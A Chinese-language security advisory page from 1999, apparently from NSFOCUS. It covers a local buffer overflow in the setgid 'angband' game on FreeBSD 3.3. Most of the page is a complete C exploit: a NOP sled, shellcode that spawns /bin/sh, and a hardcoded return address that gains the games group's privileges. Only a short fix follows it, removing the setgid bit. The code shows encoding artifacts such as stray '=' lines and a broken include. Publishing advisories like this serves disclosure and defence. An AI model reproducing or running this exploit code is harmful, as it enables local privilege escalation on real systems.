首页 -> 安全研究

安全研究

安全漏洞
FreeBSD angband 缓存溢出漏洞

发布日期:1999-12-03
更新日期:1999-12-03

受影响系统:
FreeBSD FreeBSD 3.3
描述:
随FreeBSD 3.3-RELEASE中发行的angband存在一个本地的缓存溢出漏洞。因为它是个setgid games程序,因此可能会危及games组的文件和目录安全。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* FreeBSD 3.3 angband exploit yields egid of group games   
* usage: gcc -o angames angames.c   
/path/to/angband `./angames `   
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage   
* Brock Tellier   
*/   
  
  
#include   
  
char shell[]= /* mudge@lopht.com */   
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"   
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"   
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"   
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";   
=   
  
=   
  
main (int argc, char *argv[] ) {   
int x = 0;   
int y = 0;   
int offset = 0;   
int bsize = 1095; /* 2bytes"-u" + overflowed buf''s bytes + */   
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */   
char arg[bsize + 2];   
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */   
=   
  
if (argv[1]) { =   
  
offset = atoi(argv[1]);   
eip = eip + offset;   
}   
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsiz=   
e);   
=   
  
for ( x = 0; x < 1021; x++) buf[x] = 0x90;   
fprintf(stderr, "NOPs to %d\n", x);   
=   
  
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];   
fprintf(stderr, "Shellcode to %d\n",x);   
=   
  
buf[x++] = eip & 0x000000ff;   
buf[x++] = (eip & 0x0000ff00) >> 8;   
buf[x++] = (eip & 0x00ff0000) >> 16;   
buf[x++] = (eip & 0xff000000) >> 24;   
fprintf(stderr, "eip to %d\n",x);   
buf[x++] = ''X'';   
buf[x++] = ''X'';   
fprintf(stderr, "garbage to %d\n", x);   
  
buf[bsize - 1] = ''\0'';   
  
sprintf(arg, "-u%s", buf);   
arg[bsize + 1] = ''\0'';   
=   
  
printf("%s", arg);   
=   
  
}

建议:
临时解决办法是去掉angband的setgid位。

浏览次数:8425
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障